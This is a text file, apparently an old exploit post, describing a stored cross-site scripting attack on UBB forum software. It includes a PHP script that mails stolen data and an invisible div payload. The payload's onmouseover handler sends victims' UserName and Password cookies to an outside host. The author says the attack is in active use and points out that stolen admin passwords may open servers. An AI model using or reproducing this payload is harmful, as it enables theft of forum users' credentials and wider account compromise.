ultimate-bb.txt

`<------explaination -------->  
I set up a script on some server somewhere that will mail me the contents of   
"whatever" in a url query as such ->  
http://somehost.com/somescript.php/cgi/pl/asp?contents="whatever"  
when I have that script in place I post a message on the board that I wish   
to steal peoples passes from with(for Internet Explorer, for Netscape use   
the <layer> tag) a <div> tag in it that positions itself on a prominent part   
of the page that is likely to have someone put their mouse over it. The   
<div> tag has the "onmouseover" javascript event handler and calls for the   
"getCookie('cookiename')" javascript function definded by the UBB output for   
the "reply" page, and it adds the contents of the unfortuneate victims user   
and pass cookies to the end of the link. This of course would then email   
the user and pass to me whenever someone moved their mouse over the   
invisible <div> area while on the reply page. NOTE: the script does nothing   
but give a non-popup javascript error in the lower left of the browser   
screen on the thread "view" page, so no one knows whats going on and it   
looks like a normal thread.  
<--------end explaination------------>  
i have done this and it works, I am still recieving passwords in my mail   
box.  
<***************begin actual scripts***************>  
this is the php script that i use to mail me the user/pass combos:  
<---------begin php file-------------->  
<?php  
if ($contents && $header){  
mail("[email protected]" , "from mail script",$contents,$header) or   
die('couldnt email it');  
sleep(2);  
?>  
<script language=javascript>  
<!--  
history.go(-1);  
// -->  
</script>  
<?php  
} else {  
echo "nope";  
}  
?>  
<--------------end php file----------->  
this is what you need to include in the post on the board:  
<-----------begin html+script--------->  
<div   
onmouseover='top.location.href="http://somehost.net/mail.php?header=from:[email protected]&contents="+getCookie("UserName")+":"+getCookie("Password");'   
position=absolute style="position:absolute;top:270px;left:0px;"><table   
width=100% height=30 border=0><tr><td> </td></tr></table></div>  
<-----------end html+script----------->  
<***************end actual scripts***************>  
  
if you publish this as some sort of exploit or something keep in mind that   
even the mods and admin of the boards can have their passes stolen this way.   
that means that if they use the same pass for the server then the servers   
security can be compromised with this(alot of people use the same passes for   
many things as im sure you know).  
  
-Unregistered  
`